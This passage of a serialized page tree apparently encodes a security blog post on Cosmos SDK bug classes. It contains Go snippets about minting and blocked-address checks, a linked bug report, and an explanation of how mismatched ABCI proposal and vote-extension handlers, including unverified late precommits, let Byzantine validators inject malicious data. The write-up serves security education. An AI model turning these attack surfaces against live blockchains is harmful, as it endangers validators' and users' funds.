188,84193,84197,84201,84206],{"type":23,"tag":504,"props":84177,"children":84178},{"style":5067},[84179],{"type":29,"value":5070},{"type":23,"tag":504,"props":84181,"children":84182},{"style":5041},[84183],{"type":29,"value":5075},{"type":23,"tag":504,"props":84185,"children":84186},{"style":5058},[84187],{"type":29,"value":4367},{"type":23,"tag":504,"props":84189,"children":84190},{"style":5041},[84191],{"type":29,"value":84192},"event",{"type":23,"tag":504,"props":84194,"children":84195},{"style":5047},[84196],{"type":29,"value":78481},{"type":23,"tag":504,"props":84198,"children":84199},{"style":5067},[84200],{"type":29,"value":79463},{"type":23,"tag":504,"props":84202,"children":84203},{"style":5041},[84204],{"type":29,"value":84205}," events",{"type":23,"tag":504,"props":84207,"children":84208},{"style":5058},[84209],{"type":29,"value":5333},{"type":23,"tag":504,"props":84211,"children":84212},{"class":5016,"line":5821},[84213,84218,84222,84226,84230,84234,84238,84243,84247,84251,84255,84260],{"type":23,"tag":504,"props":84214,"children":84215},{"style":5041},[84216],{"type":29,"value":84217},"        recipient",{"type":23,"tag":504,"props":84219,"children":84220},{"style":5058},[84221],{"type":29,"value":4367},{"type":23,"tag":504,"props":84223,"children":84224},{"style":5041},[84225],{"type":29,"value":50483},{"type":23,"tag":504,"props":84227,"children":84228},{"style":5047},[84229],{"type":29,"value":78481},{"type":23,"tag":504,"props":84231,"children":84232},{"style":5041},[84233],{"type":29,"value":80705},{"type":23,"tag":504,"props":84235,"children":84236},{"style":5058},[84237],{"type":29,"value":357},{"type":23,"tag":504,"props":84239,"children":84240},{"style":5139},[84241],{"type":29,"value":84242},"AccAddressFromBech32",{"type":23,"tag":504,"props":84244,"children":84245},{"style":5058},[84246],{"type":29,"value":603},{"type":23,"tag":504,"props":84248,"children":84249},{"style":5041},[84250],{"type":29,"value":84192},{"type":23,"tag":504,"props":84252,"children":84253},{"style":5058},[84254],{"type":29,"value":357},{"type":23,"tag":504,"props":84256,"children":84257},{"style":5041},[84258],{"type":29,"value":84259},"Recipient",{"type":23,"tag":504,"props":84261,"children":84262},{"style":5058},[84263],{"type":29,"value":5200},{"type":23,"tag":504,"props":84265,"children":84266},{"class":5016,"line":5851},[84267,84271,84275,84279,84283],{"type":23,"tag":504,"props":84268,"children":84269},{"style":5067},[84270],{"type":29,"value":5314},{"type":23,"tag":504,"props":84272,"children":84273},{"style":5041},[84274],{"type":29,"value":50584},{"type":23,"tag":504,"props":84276,"children":84277},{"style":5047},[84278],{"type":29,"value":66449},{"type":23,"tag":504,"props":84280,"children":84281},{"style":5030},[84282],{"type":29,"value":83982},{"type":23,"tag":504,"props":84284,"children":84285},{"style":5058},[84286],{"type":29,"value":5333},{"type":23,"tag":504,"props":84288,"children":84289},{"class":5016,"line":5859},[84290,84294,84299,84303,84307,84311,84316,84320,84324],{"type":23,"tag":504,"props":84291,"children":84292},{"style":5067},[84293],{"type":29,"value":81140},{"type":23,"tag":504,"props":84295,"children":84296},{"style":5041},[84297],{"type":29,"value":84298}," fmt",{"type":23,"tag":504,"props":84300,"children":84301},{"style":5058},[84302],{"type":29,"value":357},{"type":23,"tag":504,"props":84304,"children":84305},{"style":5139},[84306],{"type":29,"value":84015},{"type":23,"tag":504,"props":84308,"children":84309},{"style":5058},[84310],{"type":29,"value":603},{"type":23,"tag":504,"props":84312,"children":84313},{"style":6297},[84314],{"type":29,"value":84315},"\"failed to parse recipient address: %w\"",{"type":23,"tag":504,"props":84317,"children":84318},{"style":5058},[84319],{"type":29,"value":4367},{"type":23,"tag":504,"props":84321,"children":84322},{"style":5041},[84323],{"type":29,"value":50483},{"type":23,"tag":504,"props":84325,"children":84326},{"style":5058},[84327],{"type":29,"value":5200},{"type":23,"tag":504,"props":84329,"children":84330},{"class":5016,"line":5891},[84331],{"type":23,"tag":504,"props":84332,"children":84333},{"style":5058},[84334],{"type":29,"value":5394},{"type":23,"tag":504,"props":84336,"children":84337},{"class":5016,"line":5899},[84338],{"type":23,"tag":504,"props":84339,"children":84340},{"emptyLinePlaceholder":15},[84341],{"type":29,"value":5734},{"type":23,"tag":504,"props":84343,"children":84344},{"class":5016,"line":5959},[84345,84349,84354,84358,84363,84367,84371,84375,84380,84384,84389],{"type":23,"tag":504,"props":84346,"children":84347},{"style":5067},[84348],{"type":29,"value":5314},{"type":23,"tag":504,"props":84350,"children":84351},{"style":5041},[84352],{"type":29,"value":84353}," bytes",{"type":23,"tag":504,"props":84355,"children":84356},{"style":5058},[84357],{"type":29,"value":357},{"type":23,"tag":504,"props":84359,"children":84360},{"style":5139},[84361],{"type":29,"value":84362},"Equal",{"type":23,"tag":504,"props":84364,"children":84365},{"style":5058},[84366],{"type":29,"value":603},{"type":23,"tag":504,"props":84368,"children":84369},{"style":5041},[84370],{"type":29,"value":84192},{"type":23,"tag":504,"props":84372,"children":84373},{"style":5058},[84374],{"type":29,"value":357},{"type":23,"tag":504,"props":84376,"children":84377},{"style":5139},[84378],{"type":29,"value":84379},"TokenBytes",{"type":23,"tag":504,"props":84381,"children":84382},{"style":5058},[84383],{"type":29,"value":20425},{"type":23,"tag":504,"props":84385,"children":84386},{"style":5041},[84387],{"type":29,"value":84388},"sourceBTCToken",{"type":23,"tag":504,"props":84390,"children":84391},{"style":5058},[84392],{"type":29,"value":16850},{"type":23,"tag":504,"props":84394,"children":84395},{"class":5016,"line":11093},[84396,84401,84405,84409,84413,84418,84422,84426,84430,84434,84438,84442,84446,84450],{"type":23,"tag":504,"props":84397,"children":84398},{"style":5041},[84399],{"type":29,"value":84400},"            err",{"type":23,"tag":504,"props":84402,"children":84403},{"style":5047},[84404],{"type":29,"value":5050},{"type":23,"tag":504,"props":84406,"children":84407},{"style":5041},[84408],{"type":29,"value":83320},{"type":23,"tag":504,"props":84410,"children":84411},{"style":5058},[84412],{"type":29,"value":357},{"type":23,"tag":504,"props":84414,"children":84415},{"style":5139},[84416],{"type":29,"value":84417},"mintBTC",{"type":23,"tag":504,"props":84419,"children":84420},{"style":5058},[84421],{"type":29,"value":603},{"type":23,"tag":504,"props":84423,"children":84424},{"style":5041},[84425],{"type":29,"value":22333},{"type":23,"tag":504,"props":84427,"children":84428},{"style":5058},[84429],{"type":29,"value":4367},{"type":23,"tag":504,"props":84431,"children":84432},{"style":5041},[84433],{"type":29,"value":83715},{"type":23,"tag":504,"props":84435,"children":84436},{"style":5058},[84437],{"type":29,"value":4367},{"type":23,"tag":504,"props":84439,"children":84440},{"style":5041},[84441],{"type":29,"value":84192},{"type":23,"tag":504,"props":84443,"children":84444},{"style":5058},[84445],{"type":29,"value":357},{"type":23,"tag":504,"props":84447,"children":84448},{"style":5041},[84449],{"type":29,"value":81119},{"type":23,"tag":504,"props":84451,"children":84452},{"style":5058},[84453],{"type":29,"value":5200},{"type":23,"tag":504,"props":84455,"children":84456},{"class":5016,"line":11111},[84457,84461,84465,84469,84473],{"type":23,"tag":504,"props":84458,"children":84459},{"style":5067},[84460],{"type":29,"value":60862},{"type":23,"tag":504,"props":84462,"children":84463},{"style":5041},[84464],{"type":29,"value":50584},{"type":23,"tag":504,"props":84466,"children":84467},{"style":5047},[84468],{"type":29,"value":66449},{"type":23,"tag":504,"props":84470,"children":84471},{"style":5030},[84472],{"type":29,"value":83982},{"type":23,"tag":504,"props":84474,"children":84475},{"style":5058},[84476],{"type":29,"value":5333},{"type":23,"tag":504,"props":84478,"children":84479},{"class":5016,"line":11156},[84480,84484,84488,84492,84496],{"type":23,"tag":504,"props":84481,"children":84482},{"style":5067},[84483],{"type":29,"value":62790},{"type":23,"tag":504,"props":84485,"children":84486},{"style":5041},[84487],{"type":29,"value":84298},{"type":23,"tag":504,"props":84489,"children":84490},{"style":5058},[84491],{"type":29,"value":357},{"type":23,"tag":504,"props":84493,"children":84494},{"style":5139},[84495],{"type":29,"value":84015},{"type":23,"tag":504,"props":84497,"children":84498},{"style":5058},[84499],{"type":29,"value":5512},{"type":23,"tag":504,"props":84501,"children":84502},{"class":5016,"line":11262},[84503,84508],{"type":23,"tag":504,"props":84504,"children":84505},{"style":6297},[84506],{"type":29,"value":84507},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":504,"props":84509,"children":84510},{"style":5058},[84511],{"type":29,"value":5557},{"type":23,"tag":504,"props":84513,"children":84514},{"class":5016,"line":25550},[84515,84520,84524,84529],{"type":23,"tag":504,"props":84516,"children":84517},{"style":5041},[84518],{"type":29,"value":84519},"                    event",{"type":23,"tag":504,"props":84521,"children":84522},{"style":5058},[84523],{"type":29,"value":357},{"type":23,"tag":504,"props":84525,"children":84526},{"style":5041},[84527],{"type":29,"value":84528},"Sequence",{"type":23,"tag":504,"props":84530,"children":84531},{"style":5058},[84532],{"type":29,"value":5557},{"type":23,"tag":504,"props":84534,"children":84535},{"class":5016,"line":25585},[84536,84541],{"type":23,"tag":504,"props":84537,"children":84538},{"style":5041},[84539],{"type":29,"value":84540},"                    err",{"type":23,"tag":504,"props":84542,"children":84543},{"style":5058},[84544],{"type":29,"value":5557},{"type":23,"tag":504,"props":84546,"children":84547},{"class":5016,"line":25593},[84548],{"type":23,"tag":504,"props":84549,"children":84550},{"style":5058},[84551],{"type":29,"value":84552},"                )\n",{"type":23,"tag":504,"props":84554,"children":84555},{"class":5016,"line":25601},[84556],{"type":23,"tag":504,"props":84557,"children":84558},{"style":5058},[84559],{"type":29,"value":60946},{"type":23,"tag":504,"props":84561,"children":84562},{"class":5016,"line":25610},[84563,84567,84571],{"type":23,"tag":504,"props":84564,"children":84565},{"style":5058},[84566],{"type":29,"value":5355},{"type":23,"tag":504,"props":84568,"children":84569},{"style":5067},[84570],{"type":29,"value":5360},{"type":23,"tag":504,"props":84572,"children":84573},{"style":5058},[84574],{"type":29,"value":5333},{"type":23,"tag":504,"props":84576,"children":84577},{"class":5016,"line":25652},[84578],{"type":23,"tag":504,"props":84579,"children":84580},{"style":5047},[84581],{"type":29,"value":84582},"            ...\n",{"type":23,"tag":504,"props":84584,"children":84585},{"class":5016,"line":25685},[84586],{"type":23,"tag":504,"props":84587,"children":84588},{"style":5058},[84589],{"type":29,"value":5394},{"type":23,"tag":504,"props":84591,"children":84592},{"class":5016,"line":25693},[84593],{"type":23,"tag":504,"props":84594,"children":84595},{"style":5058},[84596],{"type":29,"value":5403},{"type":23,"tag":504,"props":84598,"children":84599},{"class":5016,"line":25701},[84600],{"type":23,"tag":504,"props":84601,"children":84602},{"style":5047},[84603],{"type":29,"value":22392},{"type":23,"tag":504,"props":84605,"children":84606},{"class":5016,"line":25710},[84607],{"type":23,"tag":504,"props":84608,"children":84609},{"style":5058},[84610],{"type":29,"value":5965},{"type":23,"tag":504,"props":84612,"children":84613},{"class":5016,"line":25786},[84614],{"type":23,"tag":504,"props":84615,"children":84616},{"emptyLinePlaceholder":15},[84617],{"type":29,"value":5734},{"type":23,"tag":504,"props":84619,"children":84620},{"class":5016,"line":25819},[84621,84625,84629,84633,84637,84641,84645],{"type":23,"tag":504,"props":84622,"children":84623},{"style":5030},[84624],{"type":29,"value":78365},{"type":23,"tag":504,"props":84626,"children":84627},{"style":5058},[84628],{"type":29,"value":5110},{"type":23,"tag":504,"props":84630,"children":84631},{"style":5041},[84632],{"type":29,"value":83192},{"type":23,"tag":504,"props":84634,"children":84635},{"style":5467},[84636],{"type":29,"value":82009},{"type":23,"tag":504,"props":84638,"children":84639},{"style":5058},[84640],{"type":29,"value":5128},{"type":23,"tag":504,"props":84642,"children":84643},{"style":5139},[84644],{"type":29,"value":84417},{"type":23,"tag":504,"props":84646,"children":84647},{"style":5058},[84648],{"type":29,"value":5512},{"type":23,"tag":504,"props":84650,"children":84651},{"class":5016,"line":25827},[84652,84656,84660,84664,84668],{"type":23,"tag":504,"props":84653,"children":84654},{"style":5041},[84655],{"type":29,"value":22276},{"type":23,"tag":504,"props":84657,"children":84658},{"style":5467},[84659],{"type":29,"value":80705},{"type":23,"tag":504,"props":84661,"children":84662},{"style":5058},[84663],{"type":29,"value":357},{"type":23,"tag":504,"props":84665,"children":84666},{"style":5467},[84667],{"type":29,"value":78414},{"type":23,"tag":504,"props":84669,"children":84670},{"style":5058},[84671],{"type":29,"value":5557},{"type":23,"tag":504,"props":84673,"children":84674},{"class":5016,"line":25835},[84675,84680,84684,84688,84693],{"type":23,"tag":504,"props":84676,"children":84677},{"style":5041},[84678],{"type":29,"value":84679},"    recipient",{"type":23,"tag":504,"props":84681,"children":84682},{"style":5467},[84683],{"type":29,"value":80705},{"type":23,"tag":504,"props":84685,"children":84686},{"style":5058},[84687],{"type":29,"value":357},{"type":23,"tag":504,"props":84689,"children":84690},{"style":5467},[84691],{"type":29,"value":84692},"AccAddress",{"type":23,"tag":504,"props":84694,"children":84695},{"style":5058},[84696],{"type":29,"value":5557},{"type":23,"tag":504,"props":84698,"children":84699},{"class":5016,"line":25872},[84700,84704,84709,84713,84718],{"type":23,"tag":504,"props":84701,"children":84702},{"style":5041},[84703],{"type":29,"value":63644},{"type":23,"tag":504,"props":84705,"children":84706},{"style":5467},[84707],{"type":29,"value":84708}," math",{"type":23,"tag":504,"props":84710,"children":84711},{"style":5058},[84712],{"type":29,"value":357},{"type":23,"tag":504,"props":84714,"children":84715},{"style":5467},[84716],{"type":29,"value":84717},"Int",{"type":23,"tag":504,"props":84719,"children":84720},{"style":5058},[84721],{"type":29,"value":5557},{"type":23,"tag":504,"props":84723,"children":84724},{"class":5016,"line":25885},[84725,84729,84733],{"type":23,"tag":504,"props":84726,"children":84727},{"style":5058},[84728],{"type":29,"value":5128},{"type":23,"tag":504,"props":84730,"children":84731},{"style":5467},[84732],{"type":29,"value":16910},{"type":23,"tag":504,"props":84734,"children":84735},{"style":5058},[84736],{"type":29,"value":5333},{"type":23,"tag":504,"props":84738,"children":84739},{"class":5016,"line":25898},[84740],{"type":23,"tag":504,"props":84741,"children":84742},{"style":5047},[84743],{"type":29,"value":22392},{"type":23,"tag":504,"props":84745,"children":84746},{"class":5016,"line":25911},[84747,84752,84756,84760,84764,84769,84773,84777],{"type":23,"tag":504,"props":84748,"children":84749},{"style":5041},[84750],{"type":29,"value":84751},"    err",{"type":23,"tag":504,"props":84753,"children":84754},{"style":5047},[84755],{"type":29,"value":5050},{"type":23,"tag":504,"props":84757,"children":84758},{"style":5041},[84759],{"type":29,"value":83320},{"type":23,"tag":504,"props":84761,"children":84762},{"style":5058},[84763],{"type":29,"value":357},{"type":23,"tag":504,"props":84765,"children":84766},{"style":5041},[84767],{"type":29,"value":84768},"bankKeeper",{"type":23,"tag":504,"props":84770,"children":84771},{"style":5058},[84772],{"type":29,"value":357},{"type":23,"tag":504,"props":84774,"children":84775},{"style":5139},[84776],{"type":29,"value":83707},{"type":23,"tag":504,"props":84778,"children":84779},{"style":5058},[84780],{"type":29,"value":5512},{"type":23,"tag":504,"props":84782,"children":84783},{"class":5016,"line":25965},[84784,84788],{"type":23,"tag":504,"props":84785,"children":84786},{"style":5041},[84787],{"type":29,"value":28239},{"type":23,"tag":504,"props":84789,"children":84790},{"style":5058},[84791],{"type":29,"value":5557},{"type":23,"tag":504,"props":84793,"children":84794},{"class":5016,"line":25974},[84795,84800,84804,84809],{"type":23,"tag":504,"props":84796,"children":84797},{"style":5041},[84798],{"type":29,"value":84799},"        types",{"type":23,"tag":504,"props":84801,"children":84802},{"style":5058},[84803],{"type":29,"value":357},{"type":23,"tag":504,"props":84805,"children":84806},{"style":5041},[84807],{"type":29,"value":84808},"ModuleName",{"type":23,"tag":504,"props":84810,"children":84811},{"style":5058},[84812],{"type":29,"value":5557},{"type":23,"tag":504,"props":84814,"children":84815},{"class":5016,"line":34336},[84816,84820],{"type":23,"tag":504,"props":84817,"children":84818},{"style":5041},[84819],{"type":29,"value":84217},{"type":23,"tag":504,"props":84821,"children":84822},{"style":5058},[84823],{"type":29,"value":5557},{"type":23,"tag":504,"props":84825,"children":84826},{"class":5016,"line":34357},[84827,84832],{"type":23,"tag":504,"props":84828,"children":84829},{"style":5041},[84830],{"type":29,"value":84831},"        coins",{"type":23,"tag":504,"props":84833,"children":84834},{"style":5058},[84835],{"type":29,"value":5557},{"type":23,"tag":504,"props":84837,"children":84838},{"class":5016,"line":83015},[84839],{"type":23,"tag":504,"props":84840,"children":84841},{"style":5058},[84842],{"type":29,"value":25971},{"type":23,"tag":504,"props":84844,"children":84845},{"class":5016,"line":83028},[84846,84850,84854,84858,84862],{"type":23,"tag":504,"props":84847,"children":84848},{"style":5067},[84849],{"type":29,"value":14325},{"type":23,"tag":504,"props":84851,"children":84852},{"style":5041},[84853],{"type":29,"value":50584},{"type":23,"tag":504,"props":84855,"children":84856},{"style":5047},[84857],{"type":29,"value":66449},{"type":23,"tag":504,"props":84859,"children":84860},{"style":5030},[84861],{"type":29,"value":83982},{"type":23,"tag":504,"props":84863,"children":84864},{"style":5058},[84865],{"type":29,"value":5333},{"type":23,"tag":504,"props":84867,"children":84868},{"class":5016,"line":83036},[84869,84873,84877,84881,84885,84889,84894,84898,84902],{"type":23,"tag":504,"props":84870,"children":84871},{"style":5067},[84872],{"type":29,"value":17791},{"type":23,"tag":504,"props":84874,"children":84875},{"style":5041},[84876],{"type":29,"value":84298},{"type":23,"tag":504,"props":84878,"children":84879},{"style":5058},[84880],{"type":29,"value":357},{"type":23,"tag":504,"props":84882,"children":84883},{"style":5139},[84884],{"type":29,"value":84015},{"type":23,"tag":504,"props":84886,"children":84887},{"style":5058},[84888],{"type":29,"value":603},{"type":23,"tag":504,"props":84890,"children":84891},{"style":6297},[84892],{"type":29,"value":84893},"\"failed to send coins: %w\"",{"type":23,"tag":504,"props":84895,"children":84896},{"style":5058},[84897],{"type":29,"value":4367},{"type":23,"tag":504,"props":84899,"children":84900},{"style":5041},[84901],{"type":29,"value":50483},{"type":23,"tag":504,"props":84903,"children":84904},{"style":5058},[84905],{"type":29,"value":5200},{"type":23,"tag":504,"props":84907,"children":84908},{"class":5016,"line":83044},[84909],{"type":23,"tag":504,"props":84910,"children":84911},{"style":5058},[84912],{"type":29,"value":5403},{"type":23,"tag":504,"props":84914,"children":84915},{"class":5016,"line":83052},[84916],{"type":23,"tag":504,"props":84917,"children":84918},{"style":5047},[84919],{"type":29,"value":22392},{"type":23,"tag":504,"props":84921,"children":84922},{"class":5016,"line":83092},[84923],{"type":23,"tag":504,"props":84924,"children":84925},{"style":5058},[84926],{"type":29,"value":5965},{"type":23,"tag":4743,"props":84928,"children":84930},{"code":84929,"language":78229,"meta":7,"className":78230,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[84931],{"type":23,"tag":154,"props":84932,"children":84933},{"__ignoreMap":7},[84934,84966,85045,85060,85068,85099,85157,85164,85171],{"type":23,"tag":504,"props":84935,"children":84936},{"class":5016,"line":5017},[84937,84941,84945,84949,84954,84958,84962],{"type":23,"tag":504,"props":84938,"children":84939},{"style":5030},[84940],{"type":29,"value":78365},{"type":23,"tag":504,"props":84942,"children":84943},{"style":5058},[84944],{"type":29,"value":5110},{"type":23,"tag":504,"props":84946,"children":84947},{"style":5041},[84948],{"type":29,"value":83192},{"type":23,"tag":504,"props":84950,"children":84951},{"style":5467},[84952],{"type":29,"value":84953},"BaseKeeper",{"type":23,"tag":504,"props":84955,"children":84956},{"style":5058},[84957],{"type":29,"value":5128},{"type":23,"tag":504,"props":84959,"children":84960},{"style":5139},[84961],{"type":29,"value":83707},{"type":23,"tag":504,"props":84963,"children":84964},{"style":5058},[84965],{"type":29,"value":5512},{"type":23,"tag":504,"props":84967,"children":84968},{"class":5016,"line":4868},[84969,84973,84977,84981,84985,84989,84994,84998,85002,85007,85011,85015,85019,85023,85028,85032,85036,85041],{"type":23,"tag":504,"props":84970,"children":84971},{"style":5041},[84972],{"type":29,"value":27896},{"type":23,"tag":504,"props":84974,"children":84975},{"style":5467},[84976],{"type":29,"value":78405},{"type":23,"tag":504,"props":84978,"children":84979},{"style":5058},[84980],{"type":29,"value":357},{"type":23,"tag":504,"props":84982,"children":84983},{"style":5467},[84984],{"type":29,"value":78414},{"type":23,"tag":504,"props":84986,"children":84987},{"style":5058},[84988],{"type":29,"value":4367},{"type":23,"tag":504,"props":84990,"children":84991},{"style":5041},[84992],{"type":29,"value":84993},"senderModule",{"type":23,"tag":504,"props":84995,"children":84996},{"style":5467},[84997],{"type":29,"value":38086},{"type":23,"tag":504,"props":84999,"children":85000},{"style":5058},[85001],{"type":29,"value":4367},{"type":23,"tag":504,"props":85003,"children":85004},{"style":5041},[85005],{"type":29,"value":85006},"recipientAddr",{"type":23,"tag":504,"props":85008,"children":85009},{"style":5467},[85010],{"type":29,"value":80705},{"type":23,"tag":504,"props":85012,"children":85013},{"style":5058},[85014],{"type":29,"value":357},{"type":23,"tag":504,"props":85016,"children":85017},{"style":5467},[85018],{"type":29,"value":84692},{"type":23,"tag":504,"props":85020,"children":85021},{"style":5058},[85022],{"type":29,"value":4367},{"type":23,"tag":504,"props":85024,"children":85025},{"style":5041},[85026],{"type":29,"value":85027},"amt",{"type":23,"tag":504,"props":85029,"children":85030},{"style":5467},[85031],{"type":29,"value":80705},{"type":23,"tag":504,"props":85033,"children":85034},{"style":5058},[85035],{"type":29,"value":357},{"type":23,"tag":504,"props":85037,"children":85038},{"style":5467},[85039],{"type":29,"value":85040},"Coins",{"type":23,"tag":504,"props":85042,"children":85043},{"style":5058},[85044],{"type":29,"value":5557},{"type":23,"tag":504,"props":85046,"children":85047},{"class":5016,"line":4876},[85048,85052,85056],{"type":23,"tag":504,"props":85049,"children":85050},{"style":5058},[85051],{"type":29,"value":5128},{"type":23,"tag":504,"props":85053,"children":85054},{"style":5467},[85055],{"type":29,"value":16910},{"type":23,"tag":504,"props":85057,"children":85058},{"style":5058},[85059],{"type":29,"value":5333},{"type":23,"tag":504,"props":85061,"children":85062},{"class":5016,"line":5099},[85063],{"type":23,"tag":504,"props":85064,"children":85065},{"style":5047},[85066],{"type":29,"value":85067}," ...\n",{"type":23,"tag":504,"props":85069,"children":85070},{"class":5016,"line":5203},[85071,85075,85079,85083,85087,85091,85095],{"type":23,"tag":504,"props":85072,"children":85073},{"style":5067},[85074],{"type":29,"value":17835},{"type":23,"tag":504,"props":85076,"children":85077},{"style":5041},[85078],{"type":29,"value":83320},{"type":23,"tag":504,"props":85080,"children":85081},{"style":5058},[85082],{"type":29,"value":357},{"type":23,"tag":504,"props":85084,"children":85085},{"style":5139},[85086],{"type":29,"value":83723},{"type":23,"tag":504,"props":85088,"children":85089},{"style":5058},[85090],{"type":29,"value":603},{"type":23,"tag":504,"props":85092,"children":85093},{"style":5041},[85094],{"type":29,"value":85006},{"type":23,"tag":504,"props":85096,"children":85097},{"style":5058},[85098],{"type":29,"value":16850},{"type":23,"tag":504,"props":85100,"children":85101},{"class":5016,"line":5308},[85102,85106,85111,85115,85119,85123,85127,85131,85136,85140,85145,85149,85153],{"type":23,"tag":504,"props":85103,"children":85104},{"style":5067},[85105],{"type":29,"value":41255},{"type":23,"tag":504,"props":85107,"children":85108},{"style":5041},[85109],{"type":29,"value":85110}," errorsmod",{"type":23,"tag":504,"props":85112,"children":85113},{"style":5058},[85114],{"type":29,"value":357},{"type":23,"tag":504,"props":85116,"children":85117},{"style":5139},[85118],{"type":29,"value":82974},{"type":23,"tag":504,"props":85120,"children":85121},{"style":5058},[85122],{"type":29,"value":603},{"type":23,"tag":504,"props":85124,"children":85125},{"style":5041},[85126],{"type":29,"value":82636},{"type":23,"tag":504,"props":85128,"children":85129},{"style":5058},[85130],{"type":29,"value":357},{"type":23,"tag":504,"props":85132,"children":85133},{"style":5041},[85134],{"type":29,"value":85135},"ErrUnauthorized",{"type":23,"tag":504,"props":85137,"children":85138},{"style":5058},[85139],{"type":29,"value":4367},{"type":23,"tag":504,"props":85141,"children":85142},{"style":6297},[85143],{"type":29,"value":85144},"\"%s is not allowed to receive funds\"",{"type":23,"tag":504,"props":85146,"children":85147},{"style":5058},[85148],{"type":29,"value":4367},{"type":23,"tag":504,"props":85150,"children":85151},{"style":5041},[85152],{"type":29,"value":85006},{"type":23,"tag":504,"props":85154,"children":85155},{"style":5058},[85156],{"type":29,"value":5200},{"type":23,"tag":504,"props":85158,"children":85159},{"class":5016,"line":5336},[85160],{"type":23,"tag":504,"props":85161,"children":85162},{"style":5058},[85163],{"type":29,"value":11642},{"type":23,"tag":504,"props":85165,"children":85166},{"class":5016,"line":5349},[85167],{"type":23,"tag":504,"props":85168,"children":85169},{"style":5047},[85170],{"type":29,"value":85067},{"type":23,"tag":504,"props":85172,"children":85173},{"class":5016,"line":5367},[85174],{"type":23,"tag":504,"props":85175,"children":85176},{"style":5058},[85177],{"type":29,"value":5965},{"type":23,"tag":32,"props":85179,"children":85180},{},[85181,85183,85190],{"type":29,"value":85182},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":68,"props":85184,"children":85187},{"href":85185,"rel":85186},"https://hackerone.com/reports/3018307",[72],[85188],{"type":29,"value":85189},"improper decimal handling in the group module",{"type":29,"value":357},{"type":23,"tag":24,"props":85192,"children":85194},{"id":85193},"same-same-but-different",[85195],{"type":29,"value":85196},"Same, Same... But Different",{"type":23,"tag":32,"props":85198,"children":85199},{},[85200,85202,85208,85209,85215,85216,85222,85223,85229],{"type":29,"value":85201},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":154,"props":85203,"children":85205},{"className":85204},[],[85206],{"type":29,"value":85207},"PrepareProposal",{"type":29,"value":4367},{"type":23,"tag":154,"props":85210,"children":85212},{"className":85211},[],[85213],{"type":29,"value":85214},"ProcessProposal",{"type":29,"value":4367},{"type":23,"tag":154,"props":85217,"children":85219},{"className":85218},[],[85220],{"type":29,"value":85221},"ExtendVote",{"type":29,"value":4375},{"type":23,"tag":154,"props":85224,"children":85226},{"className":85225},[],[85227],{"type":29,"value":85228},"VerifyVoteExtension",{"type":29,"value":85230},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":32,"props":85232,"children":85233},{},[85234],{"type":29,"value":85235},"Two of the best-known attack surfaces are",{"type":23,"tag":139,"props":85237,"children":85238},{},[85239,85268],{"type":23,"tag":143,"props":85240,"children":85241},{},[85242,85247,85248,85253,85255,85260,85261,85266],{"type":23,"tag":154,"props":85243,"children":85245},{"className":85244},[],[85246],{"type":29,"value":85207},{"type":29,"value":5110},{"type":23,"tag":154,"props":85249,"children":85251},{"className":85250},[],[85252],{"type":29,"value":85221},{"type":29,"value":85254},") outputs being rejected due to ",{"type":23,"tag":154,"props":85256,"children":85258},{"className":85257},[],[85259],{"type":29,"value":85214},{"type":29,"value":5110},{"type":23,"tag":154,"props":85262,"children":85264},{"className":85263},[],[85265],{"type":29,"value":85228},{"type":29,"value":85267},") over-validating, resulting in liveness failures.",{"type":23,"tag":143,"props":85269,"children":85270},{},[85271,85273,85278,85279,85284,85286,85291,85292,85297],{"type":29,"value":85272},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":154,"props":85274,"children":85276},{"className":85275},[],[85277],{"type":29,"value":85207},{"type":29,"value":5110},{"type":23,"tag":154,"props":85280,"children":85282},{"className":85281},[],[85283],{"type":29,"value":85221},{"type":29,"value":85285},") are accepted due to ",{"type":23,"tag":154,"props":85287,"children":85289},{"className":85288},[],[85290],{"type":29,"value":85214},{"type":29,"value":5110},{"type":23,"tag":154,"props":85293,"children":85295},{"className":85294},[],[85296],{"type":29,"value":85228},{"type":29,"value":85298},") under-validating.",{"type":23,"tag":32,"props":85300,"children":85301},{},[85302],{"type":29,"value":85303},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":32,"props":85305,"children":85306},{},[85307,85309,85315,85317,85322],{"type":29,"value":85308},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":154,"props":85310,"children":85312},{"className":85311},[],[85313],{"type":29,"value":85314},"VoteExtensions",{"type":29,"value":85316}," within ",{"type":23,"tag":154,"props":85318,"children":85320},{"className":85319},[],[85321],{"type":29,"value":85207},{"type":29,"value":85323},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":32,"props":85325,"children":85326},{},[85327,85329,85334,85336,85341],{"type":29,"value":85328},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":154,"props":85330,"children":85332},{"className":85331},[],[85333],{"type":29,"value":85221},{"type":29,"value":85335}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":154,"props":85337,"children":85339},{"className":85338},[],[85340],{"type":29,"value":85228},{"type":29,"value":85342},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":32,"props":85344,"children":85345},{},[85346,85348,85353],{"type":29,"value":85347},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":154,"props":85349,"children":85351},{"className":85350},[],[85352],{"type":29,"value":85228},{"type":29,"value":85354}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":32,"props":85356,"children":85357},{},[85358,85360,85365,85367,85373],{"type":29,"value":85359},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":154,"props":85361,"children":85363},{"className":85362},[],[85364],{"type":29,"value":85228},{"type":29,"value":85366},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring 